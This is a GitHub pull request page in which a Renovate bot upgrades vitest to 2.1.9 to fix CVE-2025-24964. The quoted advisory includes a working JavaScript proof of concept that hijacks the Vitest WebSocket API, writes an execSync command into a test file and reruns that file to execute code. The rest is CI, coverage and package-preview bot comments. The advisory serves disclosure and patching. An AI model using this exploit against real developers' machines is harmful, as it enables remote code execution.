chore(deps): update dependency vitest to v2.1.9 [security] #8605

renovate · 2025-02-04T18:02:07Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	`2.0.5` -> `2.1.9`

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

Open Vitest UI.
Access a malicious web site with the script below.
If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

nx-cloud · 2025-02-04T18:02:31Z

View your CI Pipeline Execution ↗ for commit 919ca4c.

Command	Status	Duration	Result
`nx affected --targets=test:sherif,test:knip,tes...`	✅ Succeeded	3m 28s	View ↗
`nx run-many --target=build --exclude=examples/*...`	✅ Succeeded	2m 2s	View ↗

☁️ Nx Cloud last updated this comment at 2025-03-07 10:52:02 UTC

nx-cloud · 2025-02-04T18:02:31Z

View your CI Pipeline Execution ↗ for commit 2ce877d.

☁️ Nx Cloud last updated this comment at 2025-02-04 18:02:30 UTC

pkg-pr-new · 2025-02-04T18:06:00Z

Open in Stackblitz

More templates

@tanstack/angular-query-devtools-experimental

npm i https://pkg.pr.new/@tanstack/angular-query-devtools-experimental@8605

@tanstack/angular-query-experimental

npm i https://pkg.pr.new/@tanstack/angular-query-experimental@8605

@tanstack/eslint-plugin-query

npm i https://pkg.pr.new/@tanstack/eslint-plugin-query@8605

@tanstack/query-async-storage-persister

npm i https://pkg.pr.new/@tanstack/query-async-storage-persister@8605

@tanstack/query-broadcast-client-experimental

npm i https://pkg.pr.new/@tanstack/query-broadcast-client-experimental@8605

@tanstack/query-core

npm i https://pkg.pr.new/@tanstack/query-core@8605

@tanstack/query-devtools

npm i https://pkg.pr.new/@tanstack/query-devtools@8605

@tanstack/query-persist-client-core

npm i https://pkg.pr.new/@tanstack/query-persist-client-core@8605

@tanstack/query-sync-storage-persister

npm i https://pkg.pr.new/@tanstack/query-sync-storage-persister@8605

@tanstack/react-query

npm i https://pkg.pr.new/@tanstack/react-query@8605

@tanstack/react-query-devtools

npm i https://pkg.pr.new/@tanstack/react-query-devtools@8605

@tanstack/react-query-next-experimental

npm i https://pkg.pr.new/@tanstack/react-query-next-experimental@8605

@tanstack/react-query-persist-client

npm i https://pkg.pr.new/@tanstack/react-query-persist-client@8605

@tanstack/solid-query

npm i https://pkg.pr.new/@tanstack/solid-query@8605

@tanstack/solid-query-devtools

npm i https://pkg.pr.new/@tanstack/solid-query-devtools@8605

@tanstack/solid-query-persist-client

npm i https://pkg.pr.new/@tanstack/solid-query-persist-client@8605

@tanstack/svelte-query

npm i https://pkg.pr.new/@tanstack/svelte-query@8605

@tanstack/svelte-query-devtools

npm i https://pkg.pr.new/@tanstack/svelte-query-devtools@8605

@tanstack/svelte-query-persist-client

npm i https://pkg.pr.new/@tanstack/svelte-query-persist-client@8605

@tanstack/vue-query

npm i https://pkg.pr.new/@tanstack/vue-query@8605

@tanstack/vue-query-devtools

npm i https://pkg.pr.new/@tanstack/vue-query-devtools@8605

commit: 919ca4c

github-actions · 2025-02-04T18:06:00Z

Sizes for commit 919ca4c:

Branch	Bundle Size
Main
This PR

renovate · 2025-03-07T10:48:33Z

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

codecov · 2025-03-07T10:52:16Z

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 46.33%. Comparing base (c4cb285) to head (919ca4c).
Report is 1 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #8605   +/-   ##
=======================================
  Coverage   46.33%   46.33%           
=======================================
  Files         199      199           
  Lines        7551     7551           
  Branches     1731     1733    +2     
=======================================
  Hits         3499     3499           
  Misses       3672     3672           
  Partials      380      380

Components	Coverage Δ
@tanstack/angular-query-devtools-experimental	`∅ <ø> (∅)`
@tanstack/angular-query-experimental	`88.65% <ø> (ø)`
@tanstack/eslint-plugin-query	`88.03% <ø> (ø)`
@tanstack/query-async-storage-persister	`43.85% <ø> (ø)`
@tanstack/query-broadcast-client-experimental	`∅ <ø> (∅)`
@tanstack/query-codemods	`0.00% <ø> (ø)`
@tanstack/query-core	`94.19% <ø> (ø)`
@tanstack/query-devtools	`4.78% <ø> (ø)`
@tanstack/query-persist-client-core	`57.73% <ø> (ø)`
@tanstack/query-sync-storage-persister	`84.61% <ø> (ø)`
@tanstack/react-query	`95.09% <ø> (ø)`
@tanstack/react-query-devtools	`10.00% <ø> (ø)`
@tanstack/react-query-next-experimental	`∅ <ø> (∅)`
@tanstack/react-query-persist-client	`100.00% <ø> (ø)`
@tanstack/solid-query	`78.20% <ø> (ø)`
@tanstack/solid-query-devtools	`∅ <ø> (∅)`
@tanstack/solid-query-persist-client	`100.00% <ø> (ø)`
@tanstack/svelte-query	`87.33% <ø> (ø)`
@tanstack/svelte-query-devtools	`∅ <ø> (∅)`
@tanstack/svelte-query-persist-client	`100.00% <ø> (ø)`
@tanstack/vue-query	`71.01% <ø> (ø)`
@tanstack/vue-query-devtools	`∅ <ø> (∅)`

🚀 New features to boost your workflow:

❄ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

renovate bot added the dependencies Pull requests that update a dependency file label Feb 4, 2025

renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 12 times, most recently from 8e7417e to 0ef9f11 Compare February 16, 2025 13:01

renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 13 times, most recently from c054f4b to c721c71 Compare February 20, 2025 13:17

renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 7 times, most recently from aaaec9d to 9392f44 Compare February 28, 2025 10:40

renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 16 times, most recently from 2317b8b to e49c661 Compare March 7, 2025 03:38

chore(deps): update dependency vitest to v2.1.9 [security]

3cc9e86

renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e49c661 to 3cc9e86 Compare March 7, 2025 08:14

Fix coverage-istanbul version

919ca4c

lachlancollins merged commit f31eeda into main Mar 7, 2025
7 checks passed

lachlancollins deleted the renovate/npm-vitest-vulnerability branch March 7, 2025 10:52

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency vitest to v2.1.9 [security] #8605

chore(deps): update dependency vitest to v2.1.9 [security] #8605

renovate bot commented Feb 4, 2025

nx-cloud bot commented Feb 4, 2025 •

edited

Loading

nx-cloud bot commented Feb 4, 2025

pkg-pr-new bot commented Feb 4, 2025 •

edited

Loading

github-actions bot commented Feb 4, 2025 •

edited

Loading

renovate bot commented Mar 7, 2025

codecov bot commented Mar 7, 2025 •

edited

Loading

chore(deps): update dependency vitest to v2.1.9 [security] #8605

chore(deps): update dependency vitest to v2.1.9 [security] #8605

Conversation

renovate bot commented Feb 4, 2025

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Details

PoC

Impact

Release Notes

v2.1.9

🚨 Breaking Changes

🚀 Features

🐞 Bug Fixes

Configuration

nx-cloud bot commented Feb 4, 2025 • edited Loading

nx-cloud bot commented Feb 4, 2025

pkg-pr-new bot commented Feb 4, 2025 • edited Loading

github-actions bot commented Feb 4, 2025 • edited Loading

renovate bot commented Mar 7, 2025

Edited/Blocked Notification

codecov bot commented Mar 7, 2025 • edited Loading

Codecov Report

`v2.1.9`

nx-cloud bot commented Feb 4, 2025 •

edited

Loading

pkg-pr-new bot commented Feb 4, 2025 •

edited

Loading

github-actions bot commented Feb 4, 2025 •

edited

Loading

codecov bot commented Mar 7, 2025 •

edited

Loading